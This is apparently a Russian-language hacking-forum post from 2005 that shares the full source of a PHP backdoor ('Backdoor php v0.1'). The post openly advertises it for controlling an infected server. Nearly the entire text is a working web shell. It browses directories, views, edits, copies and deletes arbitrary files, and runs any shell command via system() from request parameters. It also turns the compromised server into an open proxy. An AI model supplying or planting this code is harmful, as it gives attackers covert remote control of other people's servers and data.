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PHP backdoor

Ŧ1LAN

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19.12.2005
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С помощюь этого бэкдора вы можете: редактировать, удалять, смотреть, читать файлы также вы можеть использовать ИП заражённого сервака.
Извиняюсь за корявый перевод, но у автора похоже были небольшие проблемы с анлийским...

Код:
<? 
/* 
   Backdoor php v0.1 
   Coded By Charlichaplin 
   charlichaplin@gmail.com 
   Join me: irc.fr.worldnet.net #s-c 
   Greetz: My dog :) 
*/ 

class backdoor { 
   var $pwd; 
   var $rep; 
   var $list = array(); 
   var $file; 
   var $edit; 
   var $fichier; 
   var $del; 
   var $shell; 
   var $proxy; 
       
   function dir() { 
      if(!empty($this->rep)) { 
      $dir = opendir($this->rep); 
      } else { 
         $dir = opendir($this->pwd); 
      } 
      while($f = readdir($dir)) { 
          if ($f !="." && $f != "..") { 
             $this->list[] = $f; 
          } 
      } 
   } 
    
   function view() { 
       
      $this->file = htmlentities(highlight_file($this->file)); 
   } 
    
   function edit() { 
      if(!is_writable($this->edit)) { 
         echo "Ecriture impossible sur le fichier"; 
      } elseif(!file_exists($this->edit)) { 
         echo "Le fichier n'existe pas "; 
      } elseif(!$this->fichier) { 
         $fp = fopen($this->edit,"r"); 
         $a = ""; 
         while(!feof($fp)) { 
            $a .= fgets($fp,1024); 
         } 
         echo"<form method=\"POST\" action=\"".$_SERVER['PHP_SELF']."?edit=".$this->edit."\"><textarea name=\"fichier\" cols=\"50\" rows=\"20\">".htmlentities($a)."</textarea><input name=\"Submit\" type=\"submit\"></form>";                
      } else { 
         $fp = fopen($this->edit,"w+"); 
         fwrite($fp, $this->fichier); 
         fclose($fp); 
         echo "Le fichier a été modifié"; 
          
      } 
   } 
    
   function del() { 
      if(is_file($this->del)) { 
         if(unlink($this->del)) { 
            echo "Fichier supprimé"; 
         } else { 
            echo "Vous n'avez pas les droits pour supprimer ce fichier"; 
         } 
      } else { 
         echo $this->del." n'est pas un fichier"; 
      } 
   } 
    
   function shell() { 
      echo "<form method=\"POST\" action=\"".$_SERVER['PHP_SELF']."\"><input name=\"shell\" type=\"text\"><input type=\"submit\" name=\"Shell\"></form>
"; 
      system($this->shell); 
   } 
    
   function proxy($host,$page) { 
       
      $fp = fsockopen($host,80); 
      if (!$fp) { 
         echo "impossible d'etablir un connection avec l'host"; 
      } else { 
         $header = "GET ".$page." HTTP/1.1\r\n"; 
         $header .= "Host: ".$host."\r\n"; 
         $header .= "Connection: close\r\n\r\n"; 
         fputs($fp,$header); 
         while (!feof($fp)) { 
            $line = fgets($fp,1024); 
            echo $line; 
         } 
         fclose($fp); 
      } 
   } 
    
   function ccopy($cfichier,$cdestination) { 
      if(!empty($cfichier) && !empty($cdestination)) { 
         copy($cfichier, $cdestination); 
         echo "Le fichier a été copié"; 
      } else { 
         echo "<form method=\"POST\" action=\"".$_SERVER['PHP_SELF']."?copy=1\">Source: <input type=\"text\" name=\"cfichier\">
Destination: <input type=\"text\" name=\"cdestination\"><input type=\"submit\" title=\"Submit\"></form>"; 
      } 
   } 
} 
if(!empty($_REQUEST['rep'])) { 
   $rep = $_REQUEST['rep']."/"; 
} 
$pwd = $_SERVER['SCRIPT_FILENAME']; 
$pwd2  = explode("/",$pwd); 
$file = $_REQUEST['file']; 
$edit = $_REQUEST['edit']; 
$fichier = $_POST['fichier']; 
$del = $_REQUEST['del']; 
$shell = $_REQUEST['shell']; 
$proxy = $_REQUEST['proxy']; 
$copy = $_REQUEST['copy']; 
$cfichier = $_POST['cfichier']; 
$cdestination = $_POST['cdestination']; 

$n = count($pwd2); 
$n = $n - 1; 
$pwd = ""; 
for ($i = 0;$i != $n;$i = $i+1) { 
   $pwd .= "/".$pwd2[$i]; 
} 

if($proxy) { 
$host2 = explode("/",$proxy); 
$n = count($host2); 
$host = $host2[2]; 
$page = ""; 
for ($i = 3;$i != $n;$i = $i+1) { 
   $page .= "/".$host2[$i]; 
} 
echo $page; 
} 

echo "<HTML><HEAD><TITLE>Index of ".$pwd."</TITLE>"; 
$backdoor = new backdoor(); 
$backdoor->pwd = $pwd; 
$backdoor->rep = $rep; 
$backdoor->file = $file; 
$backdoor->edit = $edit; 
$backdoor->fichier = $fichier; 
$backdoor->del = $del; 
$backdoor->shell = $shell; 
$backdoor->proxy = $proxy; 
echo "<TABLE><TR><TD bgcolor=\"#ffffff\" class=\"title\"><FONT size=\"+3\" face=\"Helvetica,Arial,sans-serif\"><B>Index of ".$backdoor->pwd."</B></FONT>"; 
$backdoor->dir(); 

echo "</TD></TR></TABLE><PRE>"; 
echo "<a href=\"".$_SERVER['PHP_SELF']."?shell=id\">Executer un shell</a> "; 
echo "<a href=\"".$_SERVER['PHP_SELF']."?proxy=http://www.cnil.fr/index.php?id=123\">Utiliser le serveur comme proxy</a> "; 
echo "<a href=\"".$_SERVER['PHP_SELF']."?copy=1\">Copier un fichier</a> 
"; 
echo "<IMG border=\"0\" src=\"/icons/blank.gif\" ALT=\"     \"> <A HREF=\"\">Name</A>                    <A HREF=\"\">Last modified</A>       <A HREF=\"\">Size</A>  <A HREF=\"\">Description</A>"; 
echo "<HR noshade align=\"left\" width=\"80%\">"; 

if($file) { 
   $backdoor->view();    
} elseif($edit) { 
   $backdoor->edit(); 
} elseif($del) {    
   $backdoor->del(); 
} elseif($shell) {    
   $backdoor->shell(); 
}elseif($proxy) { 
   $backdoor->proxy($host,$page); 
}elseif($copy == 1) { 
   $backdoor->ccopy($cfichier,$cdestination); 
} else { 
   echo "[DIR] <A HREF=\"".$_SERVER['PHP_SELF']."?rep=".realpath($rep."../")."\">Parent Directory</A>         ".date("r",realpath($rep."../"))."     - 
"; 
   foreach ($backdoor->list as $key => $value) { 
      if(is_dir($rep.$value)) { 
         echo "[DIR]<A HREF=\"".$_SERVER['PHP_SELF']."?rep=".$rep.$value."\">".$value."/</A>                  ".date("r",filemtime($rep.$value))."      -  
"; 
      } else { 
         echo "[FILE]<A HREF=\"".$_SERVER['PHP_SELF']."?file=".$rep.$value."\">".$value."</A>  <a href=\"".$_SERVER['PHP_SELF']."?edit=".$rep.$value."\">(edit)</a> <a href=\"".$_SERVER['PHP_SELF']."?del=".$rep.$value."\">(del)</a>          ".date("r",filemtime($rep.$value))."     1k  
"; 
      } 
   } 
} 
echo "</PRE><HR noshade align=\"left\" width=\"80%\">"; 
echo "<center><b>Coded By Charlichaplin</b></center>"; 
echo "</BODY></HTML>";
 


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